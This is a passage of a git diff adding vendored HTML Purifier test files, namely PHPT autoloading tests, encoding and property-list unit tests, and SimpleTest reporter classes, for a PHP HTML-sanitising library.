+if (!extension_loaded('dom')) {
+ echo "skip - dom not available";
+} elseif (!extension_loaded('domxml')) {
+ echo "skip - domxml not loaded";
+}
+--FILE--
+<?php
+require '../library/HTMLPurifier.auto.php';
+echo get_class(HTMLPurifier_Lexer::create(HTMLPurifier_Config::createDefault()));
+--EXPECT--
+HTMLPurifier_Lexer_DirectLex \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt
new file mode 100644
index 000000000..d194d68d3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt
@@ -0,0 +1,9 @@
+--TEST--
+HTMLPurifier.func.php test
+--FILE--
+<?php
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier.func.php';
+echo HTMLPurifier('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt
new file mode 100644
index 000000000..8a9cd0162
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt
@@ -0,0 +1,15 @@
+--TEST--
+HTMLPurifier.kses.php basic test
+--FILE--
+<?php
+require '../library/HTMLPurifier.kses.php';
+echo kses(
+ '<a class="foo" style="color:#F00;" href="https://google.com">Foo<i>Bar</i>',
+ array(
+ 'a' => array('class' => 1, 'href' => 1),
+ ),
+ array('http') // no https!
+);
+
+--EXPECT--
+<a class="foo">FooBar</a> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc
new file mode 100644
index 000000000..42e3500e4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc
@@ -0,0 +1,12 @@
+<?php
+
+/**
+ * Tests if autoloading for HTML Purifier is enabled. If all tests pass,
+ * output is blank.
+ */
+
+assert("!in_array(realpath('../library/HTMLPurifier/Filter/YouTube.php'), get_included_files())");
+new HTMLPurifier_Filter_YouTube();
+assert(" in_array(realpath('../library/HTMLPurifier.autoload.php'), get_included_files())");
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc
new file mode 100644
index 000000000..fc109e727
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc
@@ -0,0 +1,17 @@
+<?php
+
+/**
+ * Tests if autoloading is off in HTML Purifier. If all tests pass, no output.
+ */
+
+if (function_exists('spl_autoload_register')) {
+ $__v = spl_autoload_functions();
+ assert('$__v == false || !in_array(array("HTMLPurifier_Bootstrap", "autoload"), $__v)');
+} else {
+ if (function_exists('__autoload')) {
+ $__r = new ReflectionFunction('__autoload');
+ assert('$__r->getFileName() != realpath("../library/HTMLPurifier.autoload.php")');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt
new file mode 100644
index 000000000..6a8f909b8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt
@@ -0,0 +1,12 @@
+--TEST--
+HTMLPurifier.auto.php and HTMLPurifier.includes.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.path.php';
+require 'HTMLPurifier.includes.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt
new file mode 100644
index 000000000..aad437202
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt
@@ -0,0 +1,28 @@
+--TEST--
+HTMLPurifier.auto.php using spl_autoload_register with __autoload() already defined loading test
+--SKIPIF--
+<?php
+if (!function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() not available";
+}
+--FILE--
+<?php
+function __autoload($class) {
+ echo "Autoloading $class...
+";
+ eval("class $class {}");
+}
+
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!') . "
+";
+
+// purposely invoke older autoload
+$bar = new Bar();
+
+--EXPECT--
+<b>Salsa!</b>
+Autoloading Bar... \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt
new file mode 100644
index 000000000..a4011f1d3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt
@@ -0,0 +1,25 @@
+--TEST--
+HTMLPurifier.auto.php using spl_autoload_register default
+--SKIPIF--
+<?php
+if (!function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() not available";
+}
+--FILE--
+<?php
+spl_autoload_extensions(".php");
+spl_autoload_register();
+
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!') . "
+";
+
+// purposely invoke standard autoload
+$test = new default_load();
+
+--EXPECT--
+<b>Salsa!</b>
+Default loaded
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt
new file mode 100644
index 000000000..1697bb13f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt
@@ -0,0 +1,43 @@
+--TEST--
+HTMLPurifier.auto.php using spl_autoload_register with user registration loading test
+--SKIPIF--
+<?php
+if (!function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() not available";
+}
+--FILE--
+<?php
+function my_autoload($class) {
+ echo "Autoloading $class...
+";
+ eval("class $class {}");
+ return true;
+}
+class MyClass {
+ public static function myAutoload($class) {
+ if ($class == 'Foo') {
+ echo "Special autoloading Foo...
+";
+ eval("class $class {}");
+ }
+ }
+}
+
+spl_autoload_register(array('MyClass', 'myAutoload'));
+spl_autoload_register('my_autoload');
+
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!') . "
+";
+
+// purposely invoke older autoloads
+$foo = new Foo();
+$bar = new Bar();
+
+--EXPECT--
+<b>Salsa!</b>
+Special autoloading Foo...
+Autoloading Bar... \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt
new file mode 100644
index 000000000..aeee9dcee
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt
@@ -0,0 +1,19 @@
+--TEST--
+HTMLPurifier.auto.php without spl_autoload_register without userland autoload loading test
+--SKIPIF--
+<?php
+if (function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() available";
+}
+--FILE--
+<?php
+assert("!function_exists('__autoload')");
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!') . "
+";
+
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt
new file mode 100644
index 000000000..2b6f49d8c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt
@@ -0,0 +1,21 @@
+--TEST--
+HTMLPurifier.auto.php without spl_autoload_register but with userland
+__autoload() defined test
+--SKIPIF--
+<?php
+if (function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() available";
+}
+--FILE--
+<?php
+function __autoload($class) {
+ echo "Autoloading $class...
+";
+ eval("class $class {}");
+}
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$purifier = new HTMLPurifier();
+
+--EXPECT--
+Autoloading HTMLPurifier... \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt
new file mode 100644
index 000000000..a4ea716f9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt
@@ -0,0 +1,11 @@
+--TEST--
+HTMLPurifier.auto.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.auto.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt
new file mode 100644
index 000000000..9a91abaf8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt
@@ -0,0 +1,32 @@
+--TEST--
+Error when registering autoload with non-static autoload already on SPL stack
+--SKIPIF--
+<?php
+if (!function_exists('spl_autoload_register')) {
+ echo "skip - spl_autoload_register() not available";
+}
+if (version_compare(PHP_VERSION, '5.2.11', '>=')) {
+ echo "skip - non-buggy version of PHP";
+}
+--FILE--
+<?php
+class NotStatic
+{
+ public function autoload($class) {
+ echo "Autoloading... $class" . PHP_EOL;
+ eval("class $class {}");
+ }
+}
+
+$obj = new NotStatic();
+spl_autoload_register(array($obj, 'autoload'));
+
+try {
+ require '../library/HTMLPurifier.auto.php';
+} catch (Exception $e) {
+ echo 'Caught error gracefully';
+ assert('strpos($e->getMessage(), "44144") !== false');
+}
+
+--EXPECT--
+Caught error gracefully
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt
new file mode 100644
index 000000000..6120956c6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt
@@ -0,0 +1,14 @@
+--TEST--
+HTMLPurifier.path.php, HTMLPurifier.includes.php and HTMLPurifier.autoload.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.path.php';
+require 'HTMLPurifier.includes.php';
+require 'HTMLPurifier.autoload.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt
new file mode 100644
index 000000000..681d51a96
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt
@@ -0,0 +1,12 @@
+--TEST--
+HTMLPurifier.path.php and HTMLPurifier.includes.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.path.php';
+require 'HTMLPurifier.includes.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt
new file mode 100644
index 000000000..cb6f95d53
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt
@@ -0,0 +1,12 @@
+--TEST--
+HTMLPurifier.safe-includes.php loading test
+--FILE--
+<?php
+require_once '../library/HTMLPurifier.php'; // Tests for require_once
+require_once '../library/HTMLPurifier.safe-includes.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt
new file mode 100644
index 000000000..36bb2efd7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt
@@ -0,0 +1,12 @@
+--TEST--
+HTMLPurifier.standalone.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.standalone.php';
+require '../library/HTMLPurifier.autoload.php';
+require 'HTMLPurifier/PHPT/loading/_autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt
new file mode 100644
index 000000000..721dd7d17
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt
@@ -0,0 +1,15 @@
+--TEST--
+HTMLPurifier.standalone.php with HTMLPURIFIER_PREFIX loading test
+--FILE--
+<?php
+define('HTMLPURIFIER_PREFIX', realpath('../library'));
+require '../library/HTMLPurifier.path.php';
+require 'HTMLPurifier.standalone.php';
+require 'HTMLPurifier/Filter/YouTube.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+assert('in_array(realpath("../library/HTMLPurifier/Filter/YouTube.php"), get_included_files())');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt
new file mode 100644
index 000000000..a4fe4f77d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt
@@ -0,0 +1,13 @@
+--TEST--
+HTMLPurifier.standalone.php loading test
+--FILE--
+<?php
+require '../library/HTMLPurifier.standalone.php';
+require 'HTMLPurifier/Filter/YouTube.php';
+require 'HTMLPurifier/PHPT/loading/_no-autoload.inc';
+$config = HTMLPurifier_Config::createDefault();
+$purifier = new HTMLPurifier($config);
+echo $purifier->purify('<b>Salsa!');
+assert('in_array(realpath("../library/standalone/HTMLPurifier/Filter/YouTube.php"), get_included_files())');
+--EXPECT--
+<b>Salsa!</b> \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt
new file mode 100644
index 000000000..e919c5763
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt
@@ -0,0 +1,6 @@
+--TEST--
+PHPT testing framework smoketest
+--FILE--
+Foobar
+--EXPECT--
+Foobar \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt
new file mode 100644
index 000000000..87c20ef66
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt
@@ -0,0 +1,9 @@
+--TEST--
+UTF-8 smoketest
+--FILE--
+<?php
+require '../library/HTMLPurifier.auto.php';
+$purifier = new HTMLPurifier();
+echo $purifier->purify('太極拳, ЊЎЖ, لمنس');
+--EXPECT--
+太極拳, ЊЎЖ, لمنس \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt
new file mode 100644
index 000000000..606d7592e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt
@@ -0,0 +1,14 @@
+--TEST--
+Error with zend.ze1_compatibility_mode test
+--PRESKIPIF--
+<?php
+if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
+ echo 'skip - ze1_compatibility_mode not present in PHP 5.3 or later';
+}
+--INI--
+zend.ze1_compatibility_mode = 1
+--FILE--
+<?php
+require '../library/HTMLPurifier.auto.php';
+--EXPECTF--
+Fatal error: HTML Purifier is not compatible with zend.ze1_compatibility_mode; please turn it off in %s
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php
new file mode 100644
index 000000000..666e6a3d6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php
@@ -0,0 +1,71 @@
+<?php
+
+class HTMLPurifier_PercentEncoderTest extends HTMLPurifier_Harness
+{
+
+ protected $PercentEncoder;
+ protected $func;
+
+ public function setUp()
+ {
+ $this->PercentEncoder = new HTMLPurifier_PercentEncoder();
+ $this->func = '';
+ }
+
+ public function assertDecode($string, $expect = true)
+ {
+ if ($expect === true) $expect = $string;
+ $this->assertIdentical($this->PercentEncoder->{$this->func}($string), $expect);
+ }
+
+ public function test_normalize()
+ {
+ $this->func = 'normalize';
+
+ $this->assertDecode('Aw.../-$^8'); // no change
+ $this->assertDecode('%41%77%7E%2D%2E%5F', 'Aw~-._'); // decode unreserved chars
+ $this->assertDecode('%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D'); // preserve reserved chars
+ $this->assertDecode('%2b', '%2B'); // normalize to uppercase
+ $this->assertDecode('%2B2B%3A3A'); // extra text
+ $this->assertDecode('%2b2B%4141', '%2B2BA41'); // extra text, with normalization
+ $this->assertDecode('%', '%25'); // normalize stray percent sign
+ $this->assertDecode('%5%25', '%255%25'); // permaturely terminated encoding
+ $this->assertDecode('%GJ', '%25GJ'); // invalid hexadecimal chars
+
+ // contested behavior, if this changes, we'll also have to have
+ // outbound encoding
+ $this->assertDecode('%FC'); // not reserved or unreserved, preserve
+
+ }
+
+ public function assertEncode($string, $expect = true, $preserve = false)
+ {
+ if ($expect === true) $expect = $string;
+ $encoder = new HTMLPurifier_PercentEncoder($preserve);
+ $result = $encoder->encode($string);
+ $this->assertIdentical($result, $expect);
+ }
+
+ public function test_encode_noChange()
+ {
+ $this->assertEncode('abc012-_~.');
+ }
+
+ public function test_encode_encode()
+ {
+ $this->assertEncode('>', '%3E');
+ }
+
+ public function test_encode_preserve()
+ {
+ $this->assertEncode('<>', '<%3E', '<');
+ }
+
+ public function test_encode_low()
+ {
+ $this->assertEncode("\1", '%01');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php
new file mode 100644
index 000000000..d0961959e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php
@@ -0,0 +1,101 @@
+<?php
+
+class HTMLPurifier_PropertyListTest extends UnitTestCase
+{
+
+ public function testBasic()
+ {
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->set('key', 'value');
+ $this->assertIdentical($plist->get('key'), 'value');
+ }
+
+ public function testNotFound()
+ {
+ $this->expectException(new HTMLPurifier_Exception("Key 'key' not found"));
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->get('key');
+ }
+
+ public function testRecursion()
+ {
+ $parent_plist = new HTMLPurifier_PropertyList();
+ $parent_plist->set('key', 'value');
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->setParent($parent_plist);
+ $this->assertIdentical($plist->get('key'), 'value');
+ }
+
+ public function testOverride()
+ {
+ $parent_plist = new HTMLPurifier_PropertyList();
+ $parent_plist->set('key', 'value');
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->setParent($parent_plist);
+ $plist->set('key', 'value2');
+ $this->assertIdentical($plist->get('key'), 'value2');
+ }
+
+ public function testRecursionNotFound()
+ {
+ $this->expectException(new HTMLPurifier_Exception("Key 'key' not found"));
+ $parent_plist = new HTMLPurifier_PropertyList();
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->setParent($parent_plist);
+ $this->assertIdentical($plist->get('key'), 'value');
+ }
+
+ public function testHas()
+ {
+ $plist = new HTMLPurifier_PropertyList();
+ $this->assertIdentical($plist->has('key'), false);
+ $plist->set('key', 'value');
+ $this->assertIdentical($plist->has('key'), true);
+ }
+
+ public function testReset()
+ {
+ $plist = new HTMLPurifier_PropertyList();
+ $plist->set('key1', 'value');
+ $plist->set('key2', 'value');
+ $plist->set('key3', 'value');
+ $this->assertIdentical($plist->has('key1'), true);
+ $this->assertIdentical($plist->has('key2'), true);
+ $this->assertIdentical($plist->has('key3'), true);
+ $plist->reset('key2');
+ $this->assertIdentical($plist->has('key1'), true);
+ $this->assertIdentical($plist->has('key2'), false);
+ $this->assertIdentical($plist->has('key3'), true);
+ $plist->reset();
+ $this->assertIdentical($plist->has('key1'), false);
+ $this->assertIdentical($plist->has('key2'), false);
+ $this->assertIdentical($plist->has('key3'), false);
+ }
+
+ public function testSquash()
+ {
+ $parent = new HTMLPurifier_PropertyList();
+ $parent->set('key1', 'hidden');
+ $parent->set('key2', 2);
+ $plist = new HTMLPurifier_PropertyList($parent);
+ $plist->set('key1', 1);
+ $plist->set('key3', 3);
+ $this->assertIdentical(
+ $plist->squash(),
+ array('key1' => 1, 'key2' => 2, 'key3' => 3)
+ );
+ // updates don't show up...
+ $plist->set('key2', 22);
+ $this->assertIdentical(
+ $plist->squash(),
+ array('key1' => 1, 'key2' => 2, 'key3' => 3)
+ );
+ // until you force
+ $this->assertIdentical(
+ $plist->squash(true),
+ array('key1' => 1, 'key2' => 22, 'key3' => 3)
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php
new file mode 100644
index 000000000..85be1b77c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php
@@ -0,0 +1,65 @@
+<?php
+
+class HTMLPurifier_SimpleTest_Reporter extends HTMLReporter
+{
+
+ protected $ac;
+
+ public function __construct($encoding, $ac)
+ {
+ $this->ac = $ac;
+ parent::__construct($encoding);
+ }
+
+ public function paintHeader($test_name)
+ {
+ parent::paintHeader($test_name);
+?>
+<form action="" method="get" id="select">
+ <select name="f">
+ <option value="" style="font-weight:bold;"<?php if(!$this->ac['file']) {echo ' selected';} ?>>All Tests</option>
+ <?php foreach($GLOBALS['HTMLPurifierTest']['Files'] as $file) { ?>
+ <option value="<?php echo $file ?>"<?php
+ if ($this->ac['file'] == $file) echo ' selected';
+ ?>><?php echo $file ?></option>
+ <?php } ?>
+ </select>
+ <input type="checkbox" name="standalone" value="1" title="Standalone version?" <?php if($this->ac['standalone']) {echo 'checked="checked" ';} ?>/>
+ <input type="submit" value="Go">
+</form>
+<?php
+ flush();
+ }
+
+ public function paintFooter($test_name)
+ {
+ if (function_exists('xdebug_peak_memory_usage')) {
+ $max_mem = number_format(xdebug_peak_memory_usage());
+ echo "<div>Max memory usage: $max_mem bytes</div>";
+ }
+ parent::paintFooter($test_name);
+ }
+
+ protected function getCss()
+ {
+ $css = parent::getCss();
+ $css .= '
+ #select {position:absolute;top:0.2em;right:0.2em;}
+ ';
+ return $css;
+ }
+
+ public function getTestList()
+ {
+ // hacky; depends on a specific implementation of paintPass, etc.
+ $list = parent::getTestList();
+ $testcase = $list[1];
+ if (class_exists($testcase, false)) $file = str_replace('_', '/', $testcase) . '.php';
+ else $file = $testcase;
+ $list[1] = '<a href="index.php?file=' . $file . '">' . $testcase . '</a>';
+ return $list;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php
new file mode 100644
index 000000000..583ed4079
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php
@@ -0,0 +1,24 @@
+<?php
+
+class HTMLPurifier_SimpleTest_TextReporter extends TextReporter
+{
+ protected $verbose = false;
+ public function __construct($AC)
+ {
+ parent::__construct();
+ $this->verbose = $AC['verbose'];
+ }
+ public function paintPass($message)
+ {
+ parent::paintPass($message);
+ if ($this->verbose) {
+ print 'Pass ' . $this->getPassCount() . ") $message\n";
+ $breadcrumb = $this->getTestList();
+ array_shift($breadcrumb);
+ print "\tin " . implode("\n\tin ", array_reverse($breadcrumb));
+ print "\n";
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php
new file mode 100644
index 000000000..db460cd62
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php
@@ -0,0 +1,67 @@
+<?php
+
+class HTMLPurifier_Strategy_Composite_Test
+ extends HTMLPurifier_Strategy_Composite
+{
+
+ public function __construct(&$strategies)
+ {
+ $this->strategies =& $strategies;
+ }
+
+}
+
+// doesn't use Strategy harness
+class HTMLPurifier_Strategy_CompositeTest extends HTMLPurifier_Harness
+{
+
+ public function test()
+ {
+ generate_mock_once('HTMLPurifier_Strategy');
+ generate_mock_once('HTMLPurifier_Config');
+ generate_mock_once('HTMLPurifier_Context');
+
+ // setup a bunch of mock strategies to inject into our composite test
+
+ $mock_1 = new HTMLPurifier_StrategyMock();
+ $mock_2 = new HTMLPurifier_StrategyMock();
+ $mock_3 = new HTMLPurifier_StrategyMock();
+
+ // setup the object
+
+ $strategies = array(&$mock_1, &$mock_2, &$mock_3);
+ $composite = new HTMLPurifier_Strategy_Composite_Test($strategies);
+
+ // setup expectations
+
+ $input_1 = 'This is raw data';
+ $input_2 = 'Processed by 1';
+ $input_3 = 'Processed by 1 and 2';
+ $input_4 = 'Processed by 1, 2 and 3'; // expected output
+
+ $config = new HTMLPurifier_ConfigMock();
+ $context = new HTMLPurifier_ContextMock();
+
+ $params_1 = array($input_1, $config, $context);
+ $params_2 = array($input_2, $config, $context);
+ $params_3 = array($input_3, $config, $context);
+
+ $mock_1->expectOnce('execute', $params_1);
+ $mock_1->setReturnValue('execute', $input_2, $params_1);
+
+ $mock_2->expectOnce('execute', $params_2);
+ $mock_2->setReturnValue('execute', $input_3, $params_2);
+
+ $mock_3->expectOnce('execute', $params_3);
+ $mock_3->setReturnValue('execute', $input_4, $params_3);
+
+ // perform test
+
+ $output = $composite->execute($input_1, $config, $context);
+ $this->assertIdentical($input_4, $output);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php
new file mode 100644
index 000000000..89a13f49a
--- /dev/null
